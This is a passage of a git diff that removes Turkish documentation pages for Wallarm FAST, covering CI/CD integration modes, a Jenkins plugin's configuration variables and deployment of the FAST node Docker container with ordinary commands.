-1. Hedef uygulamanın derlenmesi ve dağıtılması. - -2. FAST node'unun dağıtılması ve yapılandırılması: - - 1. [FAST node'u ile Docker konteynerinin dağıtılması][doc-container-deployment]. - - 2. [Bir test çalıştırmasının oluşturulması][doc-testrun-creation]. - - Bu işlemleri gerçekleştirdikten sonra, FAST node'unun temel istekleri kaydetme sürecini başlatmaya hazır olduğundan emin olun. - -3. Bir test aracının hazırlanması ve yapılandırılması: - - 1. Test aracının dağıtılması ve temel yapılandırmasının yapılması. - - 2. [FAST node'unun bir proxy sunucusu olarak yapılandırılması][doc-proxy-configuration]. - -4. Mevcut testlerin çalıştırılması. - - FAST node'u, ilk temel isteği aldığında güvenlik test kümesini oluşturmaya ve çalıştırmaya başlayacaktır. - -5. Temel istekleri kaydetme sürecinin durdurulması. - - Tüm mevcut testler yürütüldükten sonra kayıt süreci [durdurulmalıdır][doc-stopping-recording]. - - Artık kaydedilen temel istekleri içeren [test kaydı][doc-testrecord], önceden kaydedilmiş temel isteklerle çalışan CI/CD iş akışında yeniden kullanılmaya hazırdır. - -6. FAST güvenlik testlerinin tamamlanmasının beklenmesi. - - API isteği yaparak test çalıştırmasının durumunu periyodik olarak kontrol edin. Bu, [güvenlik testlerinin tamamlanıp tamamlanmadığını belirlemeye][doc-waiting-for-tests] yardımcı olur. - -7. Test sonuçlarının elde edilmesi. - -Bu senaryo aşağıdaki şekilde gösterilmiştir: - -![İstek kaydı içeren bir CI/CD işine örnek][img-sample-job-recording] - - -## Önceden Kaydedilmiş Temel İstekler Kullanılırken API Üzerinden Dağıtım - -Bu senaryoda bir test çalıştırması kopyalanır. Kopyalama sırasında, test çalıştırmasına var olan bir test kaydı tanımlayıcısı aktarılır. Test kaydı, temel isteklerin kaydedildiği CI/CD iş akışında edinilir. - -İlgili iş akışı adımları şunlardır: - -1. Hedef uygulamanın derlenmesi ve dağıtılması. - -2. FAST node'unun dağıtılması ve yapılandırılması: - - 1. [FAST node'u ile Docker konteynerinin dağıtılması][doc-container-deployment]. - - 2. [Bir test çalıştırmasının kopyalanması][doc-testrun-copying]. - -3. FAST node'u ile verilen test kaydından temel isteklerin çıkarılması. - -4. FAST node'u ile hedef uygulamanın güvenlik testlerinin yürütülmesi. - -5. FAST güvenlik testlerinin tamamlanmasının beklenmesi. - - API isteği yaparak test çalıştırmasının durumunu periyodik olarak kontrol edin. Bu, [güvenlik testlerinin tamamlanıp tamamlanmadığını belirlemeye][doc-waiting-for-tests] yardımcı olur. - -6. Test sonuçlarının elde edilmesi. - -![Önceden kaydedilmiş isteklerin kullanıldığı bir CI/CD işine örnek][img-sample-job-no-recording] - - -## FAST node konteynerinin yaşam döngüsü (API üzerinden dağıtım) - -Bu senaryo, FAST node'unu içeren Docker konteynerinin belirli bir CI/CD işi için yalnızca bir kez çalıştırıldığını ve iş bittiğinde kaldırıldığını varsayar. - -FAST node'u çalışma sırasında kritik hatalarla karşılaşmazsa, yeni test çalıştırmalarını ve hedef uygulamayı yeniden test etmek için temel istekleri bekleyerek sonsuz döngüde çalışır. - -Node'u barındıran Docker konteyneri, CI/CD işi tamamlandığında CI/CD aracı tarafından açıkça durdurulmalıdır. - - -Gerekirse [“FAST ile CI/CD İş Akışı”][doc-integration-overview] belgesine geri başvurabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/integration-overview-ci-mode.md b/docs/latest-tr/fast/poc/integration-overview-ci-mode.md deleted file mode 100644 index abfe0a1b7b..0000000000 --- a/docs/latest-tr/fast/poc/integration-overview-ci-mode.md +++ /dev/null @@ -1,72 +0,0 @@ -[img-sample-job-ci-mode]: ../../images/fast/poc/en/integration-overview/sample-job-ci-mode.png - -[doc-recording-mode]: ci-mode-recording.md#running-a-fast-node-in-recording-mode -[doc-testing-mode]: ci-mode-testing.md#running-a-fast-node-in-testing-mode -[doc-proxy-configuration]: proxy-configuration.md -[doc-fast-container-stopping]: ci-mode-recording.md#stopping-and-removing-the-docker-container-with-the-fast-node-in-recording-mode -[doc-recording-variables]: ci-mode-recording.md#environment-variables-in-recording-mode -[doc-integration-overview]: integration-overview.md - - -# FAST Node ile Entegrasyon: İlkeler ve Adımlar - -CI modunda bir güvenlik testi yürütmek için, bir FAST node sırasıyla iki modda çalıştırılmalıdır: -1. [Kayıt modu][doc-recording-mode] -2. [Test modu][doc-testing-mode] - -`CI_MODE` ortam değişkeni, bir FAST node'un çalışma modunu tanımlar. Bu değişken aşağıdaki değerleri alabilir: -* `recording` -* `testing` - -Bu senaryoda, FAST node öncelikle bir test kaydı oluşturur ve ona temel istekleri yazar. Kayıt tamamlandığında, düğüm, güvenlik testini temel istekleri esas alarak yürütecek bir test çalışması oluşturur. - -Bu senaryo aşağıdaki resimde gösterilmektedir: - -![CI Modunda FAST node içeren bir CI/CD işi örneği][img-sample-job-ci-mode] - -İlgili iş akışı adımları: - -1. Hedef uygulamanın oluşturulması ve dağıtılması. - -2. [FAST node'un kayıt modunda çalıştırılması][doc-recording-mode]. - - Kayıt modunda FAST node aşağıdaki işlemleri gerçekleştirir: - - * Temel istekleri, isteklerin kaynağından hedef uygulamaya proxy'ler. - * Bu temel istekleri, daha sonra bunlara dayalı güvenlik test seti oluşturmak için test kaydına kaydeder. - - !!! info "Test Çalışmaları Hakkında Not" - Test çalışması, kayıt modunda oluşturulmaz. - -3. Bir test aracının hazırlanması ve ayarlanması: - - 1. Test aracının dağıtılması ve temel yapılandırmasının yapılması. - - 2. [FAST node'un bir proxy sunucusu olarak yapılandırılması][doc-proxy-configuration]. - -4. Mevcut testlerin çalıştırılması. - - FAST node, hedef uygulamaya giden temel istekleri proxy'ler ve kaydeder. - -5. FAST node konteynerinin durdurulması ve kaldırılması. - - FAST node çalışma sırasında kritik hatalarla karşılaşmazsa, ya [`INACTIVITY_TIMEOUT`][doc-recording-variables] zamanlayıcısının süresi dolana kadar ya da CI/CD aracı konteyneri açıkça durdurana kadar çalışır. - - Mevcut testler tamamlandıktan sonra, FAST node'un [durdurulması gerekir][doc-fast-container-stopping]. Bu, temel isteklerin kaydedilmesi sürecini durduracaktır. Ardından node konteyneri kaldırılabilir. - -6. [FAST node'un test modunda çalıştırılması][doc-testing-mode]. - - Test modunda FAST node aşağıdaki işlemleri gerçekleştirir: - - * 4. adımda kaydedilen temel isteklere dayalı bir test çalışması oluşturur. - * Bir güvenlik test seti oluşturup yürütmeye başlar. - -7. Test sonuçlarının alınması. FAST node konteynerinin durdurulması. - - FAST node çalışma sırasında kritik hatalarla karşılaşmazsa, güvenlik testleri tamamlanana kadar çalışır. Düğüm otomatik olarak kapanır. Ardından node konteyneri kaldırılabilir. - -## Bir FAST Node Konteynerinin Yaşam Döngüsü (CI Modu ile Dağıtım) - -Bu senaryo, FAST node içeren Docker konteynerinin önce kayıt modunda, ardından test modunda çalıştırıldığını varsayar. - -FAST node, herhangi bir modda çalışmasını tamamladıktan sonra node konteyneri kaldırılır. Başka bir deyişle, çalışma modu her değiştiğinde bir FAST node konteyneri yeniden oluşturulur. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/integration-overview.md b/docs/latest-tr/fast/poc/integration-overview.md deleted file mode 100644 index 19ad68c3af..0000000000 --- a/docs/latest-tr/fast/poc/integration-overview.md +++ /dev/null @@ -1,71 +0,0 @@ -[doc-integration-api]: integration-overview-api.md -[doc-integration-ci-mode]: integration-overview-ci-mode.md -[doc-concurrent-pipelines]: ci-mode-concurrent-pipelines.md - -[img-api-mode]: ../../images/fast/poc/en/integration-overview/api-mode-common.png -[img-ci-mode]: ../../images/fast/poc/en/integration-overview/ci-mode-common.png -[img-ci-mode-build-id]: ../../images/fast/poc/en/integration-overview/ci-build-id-common.png - -[anchor-build-id]: #deploying-the-fast-node-with-ci-mode-for-use-in-concurrent-cicd-workflows - -[doc-qsg]: ../qsg/deployment-options.md - -# FAST ile bir CI/CD İş Akışı - -FAST’i bir CI/CD iş akışına entegre ederseniz, mevcut CI/CD iş akışına birkaç ek adım eklenecektir. Bu adımlar ya mevcut bir CI/CD işinin parçası olabilir ya da ayrı bir iş olabilir. - -Uygulamadaki test çalıştırması oluşturma senaryosuna bağlı olarak bu ek adımların tam listesi farklılık gösterecektir. Olası tüm senaryolar aşağıda açıklanmıştır. - -## Wallarm API aracılığıyla entegrasyon (diğer adıyla “API üzerinden dağıtım”) - -Bu senaryoda FAST düğümü Wallarm API aracılığıyla yönetilir. API, test çalıştırmalarını yönetmek için de kullanılır. FAST düğümü ya temel (baseline) istekleri kaydedebilir ya da önceden kaydedilmiş temel isteklerle çalışabilir: - -![API ile entegrasyon][img-api-mode] - -Bu senaryoda FAST aşağıdaki davranışları sergiler: -* Tek bir FAST düğümü Docker konteyneri, karşılık gelen tek bir bulut FAST düğümüne bağlıdır. Aynı anda birden fazla FAST düğümü konteyneri çalıştırmak için, dağıtmayı planladığınız konteyner sayısıyla aynı sayıda bulut FAST düğümüne ve tokene ihtiyacınız vardır. -* Bir bulut FAST düğümü için yeni bir FAST düğümü oluşturursanız ve bu bulut düğümüne bağlı başka bir FAST düğümü zaten mevcutsa, söz konusu diğer düğüm için test çalıştırması sonlandırılır. -* Bir test politikası ve bir test kaydı birden çok test çalıştırması ve FAST düğümü tarafından kullanılabilir. - -Bu durumda FAST entegrasyonunun nasıl yapıldığına ilişkin ayrıntılar için [bu belgeye][doc-integration-api] bakın. - -## FAST Düğümü aracılığıyla entegrasyon (diğer adıyla “CI MODE ile dağıtım”) - -Bu senaryoda FAST düğümü test etme ve kayıt modlarında kullanılır. Düğümle birlikte konteyneri dağıtırken `CI_MODE` ortam değişkenini ayarlayarak çalışma modu değiştirilir. FAST düğümü test çalıştırmalarını kendi başına yönetir; bu nedenle bir CI/CD aracının Wallarm API ile etkileşime girmesine gerek yoktur. - -Bu senaryonun şematik açıklaması için aşağıdaki görsele bakın: - -![CI MODE ile entegrasyon][img-ci-mode] - -Bu senaryoda FAST aşağıdaki davranışları sergiler: -* Tek bir FAST düğümü Docker konteyneri, karşılık gelen tek bir bulut FAST düğümüne bağlıdır. Aynı anda birden fazla FAST düğümü konteyneri çalıştırmak için, dağıtmayı planladığınız konteyner sayısıyla aynı sayıda bulut FAST düğümüne ve tokene ihtiyacınız vardır. - Eşzamanlı CI/CD iş akışlarında kullanılacak çok sayıda FAST düğümünü doğru şekilde dağıtmak için, aşağıda [açıklanan][anchor-build-id] CI MODE’a benzer farklı bir yaklaşım kullanmanız gerekecektir. -* Bir bulut FAST düğümü için yeni bir FAST düğümü oluşturursanız ve bu bulut düğümüne bağlı başka bir FAST düğümü zaten mevcutsa, söz konusu diğer düğüm için test çalıştırması sonlandırılır. -* Bir test politikası ve bir test kaydı birden çok test çalıştırması ve FAST düğümü tarafından kullanılabilir. - -Bu durumda FAST entegrasyonunun nasıl yapıldığına ilişkin ayrıntılar için [bu belgeye][doc-integration-ci-mode] bakın. - - - -### Eşzamanlı CI/CD İş Akışlarında Kullanım için CI MODE ile FAST Düğümünü Dağıtma - -FAST düğümünü eşzamanlı CI/CD iş akışlarına uygun şekilde dağıtmak için, yukarıda açıklandığı gibi CI MODE’u kullanmalı ve düğümün konteynerine ek `BUILD_ID` ortam değişkenini iletmelisiniz. - -`BUILD_ID` parametresi, tek bir bulut FAST düğümü kullanırken birkaç farklı test kaydına kayıt yapılmasına ve bu test kayıtlarının daha sonra birkaç eşzamanlı test çalıştırmasını başlatmak için yeniden kullanılmasına olanak tanır. - -Bu senaryonun şematik açıklaması için aşağıdaki görsele bakın: - -![BUILD_ID ile entegrasyon][img-ci-mode-build-id] - -Bu senaryoda FAST aşağıdaki davranışları sergiler: -* Birkaç FAST düğümü, eşzamanlı CI/CD iş akışlarında çalışmak üzere tek bir bulut FAST düğümü üzerinden çalışabilir. Dikkat edin, bu FAST düğümlerinin tümü tarafından **aynı token kullanılır**. -* Test çalıştırmaları, farklı `BUILD_ID` tanımlayıcılarıyla işaretlenmiş farklı test kayıtlarını kullanır. -* Bu test çalıştırmaları paralel olarak yürütülür; ayrıca gerekirse farklı test politikaları da kullanabilirler. - -FAST’i eşzamanlı CI/CD iş akışlarında nasıl kullanacağınıza dair ayrıntılı açıklama için [bu belgeye][doc-concurrent-pipelines] bakın. - - -!!! info "HTTPS desteği" - Bu yönerge, HTTP protokolü üzerinden çalışan uygulamayı test etmek için FAST’in CI/CD ile entegrasyonunu açıklar. - - FAST düğümü, HTTPS protokolü üzerinden çalışan uygulamaların test edilmesini de destekler. Daha fazla ayrıntı için [Hızlı Başlangıç kılavuzu][doc-qsg] bölümüne bakın. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/jenkins-plugin.md b/docs/latest-tr/fast/poc/jenkins-plugin.md deleted file mode 100644 index 242074d129..0000000000 --- a/docs/latest-tr/fast/poc/jenkins-plugin.md +++ /dev/null @@ -1,134 +0,0 @@ -[fast-node-token]: ../operations/create-node.md -[fast-ci-mode-record]: ci-mode-recording.md#environment-variables-in-recording-mode - -[mail-to-us]: mailto:support@wallarm.com -[fast-examples-github]: https://github.com/wallarm/fast-examples - -[jenkins-plugin-wallarm-fast]: https://plugins.jenkins.io/wallarm-fast/ - -[jenkins-plugin-install]: ../../images/fast/poc/common/examples/jenkins-plugin/jenkins-plugin-install.png -[jenkins-plugin-record-params]: ../../images/fast/poc/common/examples/jenkins-plugin/jenkins-plugin-record-params.png -[jenkins-plugin-playback-params]: ../../images/fast/poc/common/examples/jenkins-plugin/jenkins-plugin-playback-params.png -[jenkins-manage-plugin]: https://jenkins.io/doc/book/managing/plugins/ -[fast-example-jenkins-plugin-result]: ../../images/fast/poc/common/examples/jenkins-plugin/jenkins-plugin-result.png -[fast-jenkins-cimode]: examples/jenkins-cimode.md - -# Jenkins ile Wallarm FAST Eklentisinin Entegrasyonu - -!!! warning "Uyumluluk" - Wallarm FAST eklentisinin yalnızca Freestyle Jenkins projeleriyle çalıştığını lütfen unutmayın. - - Projeniz bir Pipeline türüyse, lütfen [FAST node aracılığıyla Jenkins ile entegrasyon örneğini][fast-jenkins-cimode] inceleyin. - -## Adım 1: Eklentinin Kurulumu - -[Jenkins Plugin Manager][jenkins-manage-plugin] kullanarak Jenkins projenize [Wallarm FAST eklentisini][jenkins-plugin-wallarm-fast] kurun. Eklenti yönetimi hakkında daha ayrıntılı bilgi [Jenkins resmî dokümantasyonunda][jenkins-manage-plugin] mevcuttur. - -![Wallarm FAST eklentisinin kurulumu][jenkins-plugin-install] - -Kurulum sırasında sorunlarla karşılaşırsanız, eklentiyi manuel olarak derleyin. - -??? info "Wallarm FAST eklentisinin manuel olarak derlenmesi" - Wallarm FAST eklentisini manuel olarak derlemek için aşağıdaki adımları izleyin: - - 1. [Maven](https://maven.apache.org/install.html) CLI'nin kurulu olduğundan emin olun. - 2. Aşağıdaki komutları çalıştırın: - ``` - git clone https://github.com/jenkinsci/wallarm-fast-plugin.git - cd wallarm-fast-plugin - mvn package - ``` - - Komutlar başarıyla yürütüldükten sonra, `target` dizininde `wallarm-fast.hpi` eklenti dosyası oluşturulacaktır. - - 3. `wallarm-fast.hpi` eklentisini [Jenkins talimatlarını](https://jenkins.io/doc/book/managing/plugins/#advanced-installation) kullanarak yükleyin. - -## Adım 2: Kaydetme ve Test Etme Adımlarının Eklenmesi - -!!! info "Yapılandırılmış iş akışı" - Devam eden talimatlar, yapılandırılmış Jenkins iş akışınızın aşağıdaki noktalardan birine karşılık gelmesini gerektirir: - - * Test otomasyonu uygulanmış olmalıdır. Bu durumda [istek kaydı](#istek-kaydı-adımının-eklenmesi) ve [güvenlik testi](#güvenlik-testi-adımının-eklenmesi) adımları eklenecektir. - * Bir temel istekler kümesi kaydedilmiş olmalıdır. Bu durumda [güvenlik testi](#güvenlik-testi-adımının-eklenmesi) adımı eklenecektir. - -### İstek Kaydı Adımının Eklenmesi - -İstek kaydı adımını eklemek için, **Build** sekmesinde `Record baselines` modunu seçin ve aşağıda açıklanan değişkenleri yapılandırın. İstek kaydı adımı, **otomatik uygulama testi adımından önce** eklenmelidir. - -!!! warning "Ağ" - İstekleri kaydetmeden önce, FAST eklentisi ile otomatik test aracı aynı ağda olduğundan emin olun. - -??? info "Kayıt modundaki değişkenler" - - | Değişken | Değer | Gerekli | - |-------------------- | -------- | ----------- | - | `Wallarm API token` | Wallarm Cloud'dan bir belirteç. | Evet | - | `Wallarm API host` | Wallarm API sunucusunun adresi.
              İzin verilen değerler:
              Wallarm US cloud'daki sunucu için `us1.api.wallarm.com` ve
              Wallarm EU cloud'daki sunucu için `api.wallarm.com`.
              Varsayılan değer `us1.api.wallarm.com`.| Hayır | - | `Application host` | Test uygulamasının adresi. Değer bir IP adresi veya alan adı olabilir. | Evet | - | `Application port` | Test uygulamasının bağlantı noktası. Varsayılan değer 8080. | Hayır | - | `Fast port` | FAST node'un bağlantı noktası. | Evet | - | `Inactivity timeout` | Bu aralık içinde FAST node'a hiçbir temel istek ulaşmazsa, kayıt işlemi FAST node ile birlikte durdurulur.
              İzin verilen değer aralığı: 1 saniyeden 1 haftaya.
              Değer saniye cinsinden geçirilmelidir.
              Varsayılan değer: 600 saniye (10 dakika). | Hayır | - | `Fast name` | FAST node Docker konteynerinin adı. | Hayır | - | `Wallarm version` | Kullanılan FAST node sürümü. | Hayır | - | `Local docker network` | FAST node'un çalıştığı Docker ağı. | Hayır | - | `Local docker ip` | Çalışan FAST node'a atanacak IP adresi. | Hayır | - | `Without sudo` | FAST node'u çalıştıran kullanıcının haklarıyla FAST node komutlarının yürütülüp yürütülmeyeceği. Varsayılan olarak, komutlar ayrıcalıklı kullanıcı haklarıyla (sudo üzerinden) yürütülür. | Hayır | - -**İstekleri kaydetmek için yapılandırılmış eklenti örneği:** - -![İstekleri kaydetmek için eklenti yapılandırma örneği][jenkins-plugin-record-params] - -İkinci olarak, FAST node'u bir proxy olarak ekleyerek otomatik test adımını güncelleyin. - -Test tamamlandığında, FAST eklentisi istek kaydını otomatik olarak durduracaktır. - -### Güvenlik Testi Adımının Eklenmesi - -Güvenlik testi adımını eklemek için, **Build** sekmesinde `Playback baselines` modunu seçin ve aşağıda açıklanan değişkenleri yapılandırın. - -Lütfen uygulamanın, güvenlik testini çalıştırmadan önce halihazırda başlatılmış ve test için erişilebilir olması gerektiğini unutmayın. - -!!! warning "Ağ" - Güvenlik testinden önce, FAST eklentisi ile uygulamanın aynı ağda olduğundan emin olun. - -??? info "Test modundaki değişkenler" - - | Değişken | Değer | Gerekli | - |-------------------- | -------- | ----------- | - | `Wallarm API token` | Wallarm Cloud'dan bir belirteç. | Evet | - | `Wallarm API host` | Wallarm API sunucusunun adresi.
              İzin verilen değerler:
              Wallarm US cloud'daki sunucu için `us1.api.wallarm.com` ve
              Wallarm EU cloud'daki sunucu için `api.wallarm.com`.
              Varsayılan değer `us1.api.wallarm.com`. | Hayır | - | `Application host` | Test uygulamasının adresi. Değer bir IP adresi veya alan adı olabilir. | Evet | - | `Application port` | Test uygulamasının bağlantı noktası. Varsayılan değer 8080. | Hayır | - | `Policy id` | [Test policy](../operations/test-policy/overview.md) ID'si.
              Varsayılan değer `0` - `Default Test Policy`. | Hayır | - | `TestRecord id` | Test kaydı ID'si. [TEST_RECORD_ID](ci-mode-testing.md#environment-variables-in-testing-mode) ile eşleşir.
              Varsayılan değer, kullanılan FAST node tarafından oluşturulan son test kaydıdır. | Hayır | - | `TestRun RPS` | Hedef uygulamaya gönderilecek test isteklerinin sayısına yönelik bir sınır (*RPS*, *requests per second*).
              Minimum değer: `1`.
              Maksimum değer: `500`.
              Varsayılan değer: `null` (RPS sınırsız). | Hayır | - | `TestRun name` | Test çalıştırmasının adı.
              Varsayılan olarak, değer test çalıştırmasının oluşturulma tarihinden otomatik olarak üretilir. | Hayır | - | `TestRun description` | Test çalıştırmasının açıklaması. | Hayır | - | `Stop on first fail` | Bir hata oluştuğunda testin durdurulup durdurulmayacağı. | Hayır | - | `Fail build` | Güvenlik testi sırasında güvenlik açıkları bulunursa derlemenin hata ile bitirilip bitirilmeyeceği. | Hayır | - | `Exclude` | Güvenlik testinden hariç tutulacak dosya uzantıları listesi.
              Uzantıları ayırmak için ǀ sembolü kullanılır.
              Varsayılan olarak istisna yoktur. | Hayır | - | `Fast name` | FAST node Docker konteynerinin adı. | Hayır | - | `Wallarm version` | Kullanılan FAST node sürümü. | Hayır | - | `Local docker network` | FAST node'un çalıştığı Docker ağı. | Hayır | - | `Local docker ip` | Çalışan FAST node'a atanacak IP adresi. | Hayır | - | `Without sudo` | FAST node'u çalıştıran kullanıcının haklarıyla FAST node komutlarının yürütülüp yürütülmeyeceği. Varsayılan olarak, komutlar ayrıcalıklı kullanıcı haklarıyla (sudo üzerinden) yürütülür. | Hayır | - - !!! warning "FAST node'un çalıştırılması" - İş akışına hem istek kaydı hem de güvenlik testi adımını eklerseniz, FAST node Docker konteynerlerinin adlarının farklı olması gerektiğini lütfen unutmayın. - -**Güvenlik testi için yapılandırılmış eklenti örneği:** - -![Güvenlik testi için eklenti yapılandırma örneği][jenkins-plugin-playback-params] - -## Adım 3: Test Sonucunun Alınması - -Güvenlik testinin sonucu Jenkins arayüzünde görüntülenecektir. - -![FAST eklentisi çalıştırmasının sonucu][fast-example-jenkins-plugin-result] - -## Daha Fazla Örnek - -FAST'in CircleCI iş akışına entegrasyon örneklerini [GitHub][fast-examples-github] üzerinde bulabilirsiniz. - -!!! info "Ek sorular" - FAST entegrasyonu ile ilgili sorularınız varsa, lütfen [bizimle iletişime geçin][mail-to-us]. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/node-deployment.md b/docs/latest-tr/fast/poc/node-deployment.md deleted file mode 100644 index e19dc885e4..0000000000 --- a/docs/latest-tr/fast/poc/node-deployment.md +++ /dev/null @@ -1,151 +0,0 @@ -[anchor-node]: #deployment-of-the-docker-container-with-the-fast-node -[anchor-testrun]: #obtaining-a-test-run -[anchor-testrun-creation]: #creating-a-test-run -[anchor-testrun-copying]: #copying-a-test-run - -[doc-limit-requests]: ../operations/env-variables.md#limiting-the-number-of-requests-to-be-recorded -[doc-get-token]: prerequisites.md#anchor-token -[doc-testpolicy]: ../operations/internals.md#fast-test-policy -[doc-inactivity-timeout]: ../operations/internals.md#test-run -[doc-allowed-hosts-example]: ../qsg/deployment.md#3-prepare-a-file-containing-the-necessary-environment-variables -[doc-testpolicy-creation-example]: ../qsg/test-preparation.md#2-create-a-test-policy-targeted-at-xss-vulnerabilities -[doc-docker-run-fast]: ../qsg/deployment.md#4-deploy-the-fast-node-docker-container -[doc-state-description]: ../operations/check-testrun-status.md -[doc-testing-scenarios]: ../operations/internals.md#test-run -[doc-testrecord]: ../operations/internals.md#test-record -[doc-create-testrun]: ../operations/create-testrun.md -[doc-copy-testrun]: ../operations/copy-testrun.md -[doc-waiting-for-tests]: waiting-for-tests.md - -[link-wl-portal-new-policy]: https://us1.my.wallarm.com/testing/policies/new#general - -[link-docker-envfile]: https://docs.docker.com/engine/reference/commandline/run/#set-environment-variables--e---env---env-file -[link-docker-run]: https://docs.docker.com/engine/reference/commandline/run/ -[link-docker-rm]: https://docs.docker.com/engine/reference/run/#clean-up---rm - -[doc-integration-overview]: integration-overview.md -[doc-integration-overview-api]: integration-overview-api.md - - -# Wallarm API aracılığıyla FAST Düğümünü Çalıştırma - -!!! info "Bölüm Önkoşulları" - Bu bölümde açıklanan adımları takip etmek için bir [token][doc-get-token] edinmeniz gerekir. - - Bu bölüm boyunca örnek olarak aşağıdaki değerler kullanılmaktadır: - - * Bir token olarak `token_Qwe12345`. - * Bir test çalıştırmasının tanımlayıcısı olarak `tr_1234`. - * Bir test kaydının tanımlayıcısı olarak `rec_0001`. - -FAST düğümünün çalıştırılması ve yapılandırılması aşağıdaki adımlardan oluşur: -1. [FAST Düğümü ile Docker konteynerinin dağıtımı.][anchor-node] -2. [Bir Test Çalıştırmasının edinilmesi.][anchor-testrun] - -## FAST Düğümü ile Docker Konteynerinin Dağıtımı - -!!! warning "Wallarm API Sunucularına Erişim Verin" - FAST düğümünün düzgün çalışması için `us1.api.wallarm.com` veya `api.wallarm.com` Wallarm API sunucularına HTTPS protokolü (`TCP/443`) üzerinden erişebilmesi kritik öneme sahiptir. - - Güvenlik duvarınızın Docker ana makinesinin Wallarm API sunucularına erişimini kısıtlamadığından emin olun. - -FAST düğümü ile Docker konteynerini çalıştırmadan önce bazı yapılandırmalar gereklidir. Düğümü yapılandırmak için token’ı `WALLARM_API_TOKEN` ortam değişkenini kullanarak konteynere yerleştirin. Ek olarak, kaydedilecek istek sayısını [sınırlamanız gerekiyorsa][doc-limit-requests] `ALLOWED_HOSTS` değişkenini de kullanabilirsiniz. - -Ortam değişkenlerini konteynere aktarmak için değişkenleri bir metin dosyasına koyun ve [`docker run`][link-docker-run] komutunun [`--env-file`][link-docker-envfile] parametresini kullanarak dosyanın yolunu belirtin (“Hızlı Başlangıç” kılavuzundaki [yönergelere][doc-docker-run-fast] bakın). - -Aşağıdaki komutu çalıştırarak FAST düğümü içeren bir konteyner başlatın: - -``` -docker run \ ---rm \ ---name \ ---env-file= \ --p :8080 \ -wallarm/fast -``` - -Bu kılavuz, konteynerin verilen CI/CD işi için yalnızca bir kez çalıştığını ve iş bittiğinde kaldırıldığını varsayar. Bu nedenle, yukarıdaki komuta [`--rm`][link-docker-rm] parametresi eklenmiştir. - -Komutun parametrelerinin [ayrıntılı açıklaması][doc-docker-run-fast] için “Hızlı Başlangıç” kılavuzuna bakın. - -??? info "Örnek" - Bu örnek, FAST düğümünün `token_Qwe12345` token’ını kullandığını ve `Host` başlığının değerinde `example.local` alt dizgisi bulunan tüm gelen temel istekleri kaydedecek şekilde yapılandırıldığını varsayar. - - Ortam değişkenlerini içeren bir dosyanın içeriği aşağıdaki örnekte gösterilmiştir: - - | fast.cfg | - | -------- | - | `WALLARM_API_TOKEN=token_Qwe12345`
              `ALLOWED_HOSTS=example.local` | - - Aşağıdaki komut, şu davranışlara sahip `fast-poc-demo` adlı Docker konteynerini çalıştırır: - - * İş bittikten sonra konteyner kaldırılır. - * Ortam değişkenleri `fast.cfg` dosyası kullanılarak konteynere aktarılır. - * Konteynerin `8080` portu, Docker ana makinesinin `9090` portuna yayımlanır. - - ``` - docker run --rm --name fast-poc-demo --env-file=fast.cfg -p 9090:8080 wallarm/fast - ``` - -FAST düğümünün dağıtımı başarılı olursa, konteynerin konsolunda ve günlük dosyasında aşağıdaki bilgilendirici iletiler bulunur: - -``` -[info] Node connected to Wallarm Cloud -[info] Waiting for TestRun to check… -``` - -Artık FAST düğümü, Docker ana makinesinin IP adresinde ve `docker run` komutunun `-p` parametresiyle daha önce belirttiğiniz portta dinliyor. - -## Bir Test Çalıştırmasının Edinilmesi - -Bir test çalıştırmasını [oluşturmanız][anchor-testrun-creation] veya bir test çalıştırmasını [kopyalamanız][anchor-testrun-copying] gerekir. Seçim, size uygun olan [test çalıştırması oluşturma senaryosuna][doc-testing-scenarios] bağlıdır. - -### Bir Test Policy Tanımlayıcısının Edinilmesi - -Kendi [test policy’nizi][doc-testpolicy] kullanmayı planlıyorsanız, [bir tane oluşturun][link-wl-portal-new-policy] ve politikanın tanımlayıcısını edinin. Daha sonra test çalıştırmasını oluşturmak veya kopyalamak için yapılan API çağrısında bu tanımlayıcıyı `policy_id` parametresine iletin. - -Aksi takdirde, varsayılan test policy’yi kullanmayı seçerseniz, `policy_id` parametresi API çağrısında atlanmalıdır. - -!!! info "Test Policy Örneği" - “Hızlı Başlangıç” kılavuzu, örnek bir test policy’sinin nasıl oluşturulacağına ilişkin [adım adım yönergeler][doc-testpolicy-creation-example] içerir. - -### Bir Test Çalıştırması Oluşturma - -Bir test çalıştırması oluşturulduğunda, yeni bir [test kaydı][doc-testrecord] da oluşturulur. - -Bu test çalıştırması oluşturma yöntemi, hedef uygulamanın temel isteklerin kaydıyla birlikte test edilmesinin gerektiği durumlarda kullanılmalıdır. - -!!! info "Bir Test Çalıştırması Nasıl Oluşturulur" - Bu süreç ayrıntılı olarak [burada][doc-create-testrun] açıklanmıştır. - -FAST düğümünün, istekleri kaydedebilmesi için test çalıştırması oluşturulduktan sonra belirli bir süreye ihtiyacı vardır. - -Test aracını kullanarak hedef uygulamaya herhangi bir istek göndermeden önce FAST düğümünün istek kaydı yapmaya hazır olduğundan emin olun. - -Bunu yapmak için, `https://us1.api.wallarm.com/v1/test_run/test_run_id` URL’sine düzenli aralıklarla GET isteği göndererek test çalıştırmasının durumunu kontrol edin: - ---8<-- "../include/fast/poc/api-check-testrun-status-recording.md" - -API sunucusuna yapılan istek başarılı olursa, sunucunun yanıtı görüntülenecektir. Bu yanıt, kayıt işleminin durumu ( `ready_for_recording` parametresinin değeri) dahil olmak üzere yararlı bilgiler sağlar. - -Parametrenin değeri `true` ise, FAST düğümü kayda hazırdır ve test aracınızı başlatarak hedef uygulamaya istek göndermeye başlayabilirsiniz. - -Aksi takdirde, düğüm hazır olana kadar aynı API çağrısını tekrarlayın. - - -### Bir Test Çalıştırmasını Kopyalama - -Bir test çalıştırması kopyalanırken, mevcut bir [test kaydı][doc-testrecord] yeniden kullanılır. - -Bu test çalıştırması oluşturma yöntemi, önceden kaydedilmiş temel istekler kullanılarak hedef uygulamanın test edilmesinin gerektiği durumlarda kullanılmalıdır. - -!!! info "Bir Test Çalıştırması Nasıl Kopyalanır" - Bu süreç ayrıntılı olarak [burada][doc-copy-testrun] açıklanmıştır. - -Bir test çalıştırması başarıyla oluşturulduğunda, FAST düğümü test etmeye hemen başlar. Ek bir işlem yapmanız gerekmez. - -## Sonraki Adımlar - -Test sürecinin tamamlanması uzun zaman alabilir. FAST ile güvenlik testinin bitip bitmediğini belirlemek için [bu belgedeki][doc-waiting-for-tests] bilgileri kullanın. - - Gerekirse “API aracılığıyla 